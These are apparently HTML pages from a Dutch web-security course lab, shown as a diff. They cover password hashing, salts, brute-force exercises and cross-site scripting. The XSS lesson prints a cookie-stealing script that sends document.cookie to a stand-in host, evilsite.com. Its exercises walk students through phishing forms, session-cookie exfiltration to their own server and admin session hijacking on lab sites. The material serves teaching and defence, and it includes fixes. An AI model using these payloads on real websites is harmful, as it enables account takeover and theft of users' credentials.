<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker |
||||
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij |
||||
hetzelfde wachtwoord ingevuld!</p> |
||||
|
||||
<h3>Rainbow tables</h3> |
||||
|
||||
<p>Zo moeilijk als het is om een hash terug te |
||||
<i>rekenen</i>, zo makkelijk is het om een hash terug |
||||
<i> |
||||
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a> |
||||
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend |
||||
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel |
||||
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze |
||||
aanval:</p> |
||||
|
||||
<h3>Salt</h3> |
||||
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken |
||||
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat |
||||
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet |
||||
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p> |
||||
|
||||
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%"> |
||||
|
||||
<h1>Opdrachten</h1> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had |
||||
deze gebruiker?</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span> |
||||
</div> |
||||
|
||||
<h2>Nieuws</h2> |
||||
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden |
||||
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de |
||||
tabel inzien.</p> |
||||
|
||||
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers |
||||
een veelgebruikt wachtwoord.</p> |
||||
|
||||
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p> |
||||
|
||||
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p> |
||||
|
||||
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is het wachtwoord van Pete?</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span> |
||||
</div> |
||||
|
||||
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier |
||||
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de |
||||
site wordt feestelijk weer geopend.</p> |
||||
|
||||
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een |
||||
kort fragment van een logbestand terugvinden:</p> |
||||
|
||||
<code class="center-block"> |
||||
...<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br> |
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br> |
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br> |
||||
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br> |
||||
</code> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval |
||||
te voorkomen.</span> |
||||
</div> |
||||
|
||||
<img src="/static/img/password2.jpg" class="center-block"> |
||||
|
||||
|
||||
<script> |
||||
function utf8_encode(argString) { |
||||
// discuss at: http://phpjs.org/functions/utf8_encode/ |
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// improved by: sowberry |
||||
// improved by: Jack |
||||
// improved by: Yves Sucaet |
||||
// improved by: kirilloid |
||||
// bugfixed by: Onno Marsman |
||||
// bugfixed by: Onno Marsman |
||||
// bugfixed by: Ulrich |
||||
// bugfixed by: Rafal Kukawski |
||||
// bugfixed by: kirilloid |
||||
// example 1: utf8_encode('Kevin van Zonneveld'); |
||||
// returns 1: 'Kevin van Zonneveld' |
||||
|
||||
if (argString === null || typeof argString === 'undefined') { |
||||
return ''; |
||||
} |
||||
|
||||
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n"); |
||||
var string = (argString + ''); |
||||
var utftext = '', |
||||
start, end, stringl = 0; |
||||
|
||||
start = end = 0; |
||||
stringl = string.length; |
||||
for (var n = 0; n < stringl; n++) { |
||||
var c1 = string.charCodeAt(n); |
||||
var enc = null; |
||||
|
||||
if (c1 < 128) { |
||||
end++; |
||||
} else if (c1 > 127 && c1 < 2048) { |
||||
enc = String.fromCharCode( |
||||
(c1 >> 6) | 192, (c1 & 63) | 128 |
||||
); |
||||
} else if ((c1 & 0xF800) != 0xD800) { |
||||
enc = String.fromCharCode( |
||||
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||
); |
||||
} else { |
||||
// surrogate pairs |
||||
if ((c1 & 0xFC00) != 0xD800) { |
||||
throw new RangeError('Unmatched trail surrogate at ' + n); |
||||
} |
||||
var c2 = string.charCodeAt(++n); |
||||
if ((c2 & 0xFC00) != 0xDC00) { |
||||
throw new RangeError('Unmatched lead surrogate at ' + (n - 1)); |
||||
} |
||||
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000; |
||||
enc = String.fromCharCode( |
||||
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||
); |
||||
} |
||||
if (enc !== null) { |
||||
if (end > start) { |
||||
utftext += string.slice(start, end); |
||||
} |
||||
utftext += enc; |
||||
start = end = n + 1; |
||||
} |
||||
} |
||||
|
||||
if (end > start) { |
||||
utftext += string.slice(start, stringl); |
||||
} |
||||
|
||||
return utftext; |
||||
} |
||||
function md5(str) { |
||||
// discuss at: http://phpjs.org/functions/md5/ |
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||
// improved by: Michael White (http://getsprink.com) |
||||
// improved by: Jack |
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// input by: Brett Zamir (http://brett-zamir.me) |
||||
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// depends on: utf8_encode |
||||
// example 1: md5('Kevin van Zonneveld'); |
||||
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9' |
||||
|
||||
var xl; |
||||
|
||||
var rotateLeft = function (lValue, iShiftBits) { |
||||
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits)); |
||||
}; |
||||
|
||||
var addUnsigned = function (lX, lY) { |
||||
var lX4, lY4, lX8, lY8, lResult; |
||||
lX8 = (lX & 0x80000000); |
||||
lY8 = (lY & 0x80000000); |
||||
lX4 = (lX & 0x40000000); |
||||
lY4 = (lY & 0x40000000); |
||||
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF); |
||||
if (lX4 & lY4) { |
||||
return (lResult ^ 0x80000000 ^ lX8 ^ lY8); |
||||
} |
||||
if (lX4 | lY4) { |
||||
if (lResult & 0x40000000) { |
||||
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); |
||||
} else { |
||||
return (lResult ^ 0x40000000 ^ lX8 ^ lY8); |
||||
} |
||||
} else { |
||||
return (lResult ^ lX8 ^ lY8); |
||||
} |
||||
}; |
||||
|
||||
var _F = function (x, y, z) { |
||||
return (x & y) | ((~x) & z); |
||||
}; |
||||
var _G = function (x, y, z) { |
||||
return (x & z) | (y & (~z)); |
||||
}; |
||||
var _H = function (x, y, z) { |
||||
return (x ^ y ^ z); |
||||
}; |
||||
var _I = function (x, y, z) { |
||||
return (y ^ (x | (~z))); |
||||
}; |
||||
|
||||
var _FF = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _GG = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _HH = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _II = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var convertToWordArray = function (str) { |
||||
var lWordCount; |
||||
var lMessageLength = str.length; |
||||
var lNumberOfWords_temp1 = lMessageLength + 8; |
||||
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64; |
||||
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16; |
||||
var lWordArray = new Array(lNumberOfWords - 1); |
||||
var lBytePosition = 0; |
||||
var lByteCount = 0; |
||||
while (lByteCount < lMessageLength) { |
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||
lBytePosition = (lByteCount % 4) * 8; |
||||
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition)); |
||||
lByteCount++; |
||||
} |
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||
lBytePosition = (lByteCount % 4) * 8; |
||||
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition); |
||||
lWordArray[lNumberOfWords - 2] = lMessageLength << 3; |
||||
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29; |
||||
return lWordArray; |
||||
}; |
||||
|
||||
var wordToHex = function (lValue) { |
||||
var wordToHexValue = '', |
||||
wordToHexValue_temp = '', |
||||
lByte, lCount; |
||||
for (lCount = 0; lCount <= 3; lCount++) { |
||||
lByte = (lValue >>> (lCount * 8)) & 255; |
||||
wordToHexValue_temp = '0' + lByte.toString(16); |
||||
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2); |
||||
} |
||||
return wordToHexValue; |
||||
}; |
||||
|
||||
var x = [], |
||||
k, AA, BB, CC, DD, a, b, c, d, S11 = 7, |
||||
S12 = 12, |
||||
S13 = 17, |
||||
S14 = 22, |
||||
S21 = 5, |
||||
S22 = 9, |
||||
S23 = 14, |
||||
S24 = 20, |
||||
S31 = 4, |
||||
S32 = 11, |
||||
S33 = 16, |
||||
S34 = 23, |
||||
S41 = 6, |
||||
S42 = 10, |
||||
S43 = 15, |
||||
S44 = 21; |
||||
|
||||
str = this.utf8_encode(str); |
||||
x = convertToWordArray(str); |
||||
a = 0x67452301; |
||||
b = 0xEFCDAB89; |
||||
c = 0x98BADCFE; |
||||
d = 0x10325476; |
||||
|
||||
xl = x.length; |
||||
for (k = 0; k < xl; k += 16) { |
||||
AA = a; |
||||
BB = b; |
||||
CC = c; |
||||
DD = d; |
||||
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478); |
||||
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756); |
||||
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB); |
||||
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE); |
||||
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF); |
||||
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A); |
||||
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613); |
||||
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501); |
||||
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8); |
||||
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF); |
||||
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1); |
||||
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE); |
||||
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122); |
||||
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193); |
||||
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E); |
||||
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821); |
||||
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562); |
||||
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340); |
||||
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51); |
||||
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA); |
||||
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D); |
||||
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453); |
||||
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681); |
||||
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8); |
||||
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6); |
||||
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6); |
||||
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87); |
||||
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED); |
||||
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905); |
||||
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8); |
||||
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9); |
||||
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A); |
||||
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942); |
||||
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681); |
||||
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122); |
||||
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C); |
||||
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44); |
||||
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9); |
||||
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60); |
||||
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70); |
||||
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6); |
||||
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA); |
||||
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085); |
||||
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05); |
||||
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039); |
||||
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5); |
||||
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8); |
||||
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665); |
||||
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244); |
||||
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97); |
||||
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7); |
||||
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039); |
||||
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3); |
||||
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92); |
||||
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D); |
||||
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1); |
||||
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F); |
||||
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0); |
||||
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314); |
||||
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1); |
||||
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82); |
||||
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235); |
||||
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB); |
||||
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391); |
||||
a = addUnsigned(a, AA); |
||||
b = addUnsigned(b, BB); |
||||
c = addUnsigned(c, CC); |
||||
d = addUnsigned(d, DD); |
||||
} |
||||
|
||||
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d); |
||||
|
||||
return temp.toLowerCase(); |
||||
} |
||||
</script> |
@ -0,0 +1,244 @@ |
||||
<style> |
||||
.screenshot { |
||||
box-shadow: 0 0 15px #888; |
||||
} |
||||
|
||||
figure { |
||||
float: right; |
||||
width: 30%; |
||||
} |
||||
|
||||
figure img {} |
||||
|
||||
figcaption { |
||||
margin-top: 10px; |
||||
font-size: smaller; |
||||
color: gray; |
||||
text-align: center; |
||||
} |
||||
</style> |
||||
|
||||
<h1>Cross-site Scripting</h1> |
||||
|
||||
<figure> |
||||
<img src="/static/img/rabobank.png" class="screenshot"> |
||||
<figcaption>Iemand heeft |
||||
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption> |
||||
</figure> |
||||
|
||||
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als |
||||
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra |
||||
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script> |
||||
tag kan toevoegen is er sprake van een XSS aanval.</p> |
||||
|
||||
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login |
||||
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch |
||||
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p> |
||||
|
||||
<h3>Reflected</h3> |
||||
|
||||
<figure> |
||||
<img class="screenshot" src="/static/img/zoekterm.png"> |
||||
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption> |
||||
</figure> |
||||
|
||||
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets |
||||
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als |
||||
op de webpagina zelf.</p> |
||||
|
||||
|
||||
|
||||
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren |
||||
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken. |
||||
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet. |
||||
The perfect crime!</p> |
||||
|
||||
<h3>Stored</h3> |
||||
|
||||
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een |
||||
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's). |
||||
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n |
||||
90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan |
||||
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p> |
||||
|
||||
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te |
||||
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p> |
||||
|
||||
<h3>Aanvallen</h3> |
||||
|
||||
<h4>HTML toevoegen</h4> |
||||
|
||||
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan |
||||
een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de |
||||
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p> |
||||
|
||||
<h4>Javascript toevoegen</h4> |
||||
|
||||
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te |
||||
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker |
||||
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p> |
||||
|
||||
<p> |
||||
<code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code> |
||||
</p> |
||||
|
||||
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site |
||||
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan |
||||
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p> |
||||
|
||||
<h3>Countermeasures</h3> |
||||
|
||||
<p>De belangrijkste regel bij websecurity is: |
||||
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare |
||||
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die |
||||
je weer weergeeft op de pagina te |
||||
<b>escapen</b>.</p> |
||||
|
||||
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. |
||||
<code>"</code> wordt dan bijvoorbeeld |
||||
<code>&quot;</code> en |
||||
<code><</code> wordt |
||||
<code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p> |
||||
|
||||
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p> |
||||
|
||||
|
||||
<code><script><b>gebruikersinvoer hier</b></script></p></code> |
||||
|
||||
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het |
||||
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een |
||||
bepaalde waarde te zetten.</p> |
||||
|
||||
<h1>Opdrachten</h1> |
||||
|
||||
<h2>Bank</h2> |
||||
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze |
||||
nog steeds niet veilig van hun beveiligingsproblemen.</p> |
||||
|
||||
<p>Ga naar de |
||||
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a> |
||||
</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere |
||||
server gestuurd.</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span> |
||||
</div> |
||||
|
||||
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje |
||||
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Zoek eens naar |
||||
<code>window.history.pushState</code>.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina |
||||
komt te staan.</span> |
||||
</div> |
||||
|
||||
<h2>Webshop</h2> |
||||
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde |
||||
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site |
||||
<span class="website">"Webshop (replace)"</span>.</p> |
||||
|
||||
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p> |
||||
|
||||
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt |
||||
gebruiken moet je de url encoded versie gebruiken: %2B</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span> |
||||
</div> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Op |
||||
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a> |
||||
</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het |
||||
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. |
||||
Let goed op de quotejes.</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. |
||||
PHP aanpassen (lees documentatie op |
||||
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span> |
||||
</div> |
||||
|
||||
|
||||
<h2>Nieuws</h2> |
||||
|
||||
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de |
||||
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p> |
||||
|
||||
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators |
||||
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen. |
||||
</p> |
||||
|
||||
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen |
||||
server sturen om de opdracht te kunnen maken. Je kunt hiervoor |
||||
<a href="https://requestb.in">Requestbin</a> gebruiken</p> |
||||
|
||||
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan |
||||
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p> |
||||
|
||||
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie |
||||
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p> |
||||
|
||||
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p> |
||||
|
||||
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p> |
||||
|
||||
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p> |
||||
|
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span> |
||||
</div> |
||||
|
||||
<h2>Wereldwijs</h2> |
||||
|
||||
<p>Ga naar de |
||||
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen. |
||||
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek |
||||
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p> |
||||
|
||||
<p>Let op: In Firefox werkt deze hack niet</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>'). |
||||
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p> |
||||
|
||||
